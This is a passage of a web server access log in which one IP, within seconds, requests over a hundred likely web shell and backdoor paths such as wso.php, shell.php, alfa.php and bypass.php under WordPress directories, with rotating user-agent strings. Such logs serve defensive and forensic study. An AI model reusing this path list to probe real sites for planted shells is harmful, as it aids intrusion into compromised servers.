[19/Apr/2026:04:01:07 +0300] "GET /wp-content/themes/twentytwentyfour/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:07 +0300] "GET /wp-includes/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:07 +0300] "GET /wp-includes/class-wp-dependency-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:07 +0300] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:07 +0300] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /wp-includes/interactivity-api/interactivity-api-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /wp-includes/l10n/class-wp-widddget-pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /wp-admin/css/colors/light/colors.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /wp-includes/ID3/module.audio-video.riff-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /wp-includes/js/tinymce/utils/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /wp-includes/Text/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /.well-known/acme-challenge/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /wp-content/upgrade/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /wp-content/themes/aahana/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /plugins/content/apismtp/apismtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /wp-admin/includes/class-core-upgrader-first.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /wp-admin/css/wp-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /wp-includes/IXR/goto.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /wp-admin/css/colors/blue/xboom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:08 +0300] "GET /wp-content/themes/kadence/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /wp-fmfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /.trash7309/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /wp-content/plugins/ioxi/ioxi/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /memberfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /modules/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /wp-content/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /wp-content/wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /wsad.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /nation.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /wp-includes/wp_class_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /wp-includes/js/tinymce/langs/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /autoload_classmap/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:09 +0300] "GET /wp-atomx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /wp-admin/maint/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /wp-content/plugins/ubh/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /wp-includes/SimplePie/Registry-private.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /wp-includes/assets/script-modules-packages.min-meta.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /wp-includes/widgets/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /wp-content/themes/twentytwentyfour/content-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /admin/controller/extension/extension/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /wp-admin/css/colors/modern/colors.css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /wp-includes/style-engine/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /css/media-widget-vide02.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /wp-includes/blocks/group/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /images/buy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /templates/beez3/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /wp-includes/widgets/class-wp-wolf-widget.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /wp-admin/css/colors/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /plugins/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /.well-known/header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /wordpress/wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:10 +0300] "GET /.well-known/pki-validation/server.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /autoload_classmap/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-content/plugins/ubh/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-content/uploads/anas.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-admin/css/colors/blue/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-content/plugins/erinyani/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-content/plugins/pwnd/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /upload/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-content/upgrade/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-includes/wp-sup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wordpress/wp-includes/class-wp-http-ixr-client-view.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /images/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-includes/widgets/class-t.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-content/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /.well-known/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-admin/css/colors/blue/navi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-includes/css/dist/require-dynamic-blocks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /xp.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-content/languages/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-content/bypass_1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-admin/js/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 212.30.36.148 - - [19/Apr/2026:04:01:11 +0300] "GET /wp-includes/widgets/class-wp-widget-rss-database.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /.well-known/pki-validation/kur.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /wp-includes/class-wp-customize-manager-client.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /wp-includes/assets/script-modules-packages.min-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /wp-admin/css/colors/error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /ALFA_DATA/alfacgiapi/all.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /wp-admin/maint/repairs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /wp-includes/images/smilies/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /wp-header.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /file.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /.tmb/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /wp-includes/style-engine-session.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 212.30.36.148 - - [19/Apr/2026:04:01:12 +0300] "GET /images/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 212.30.36.148 - - [19/Apr/2026:04:01:12 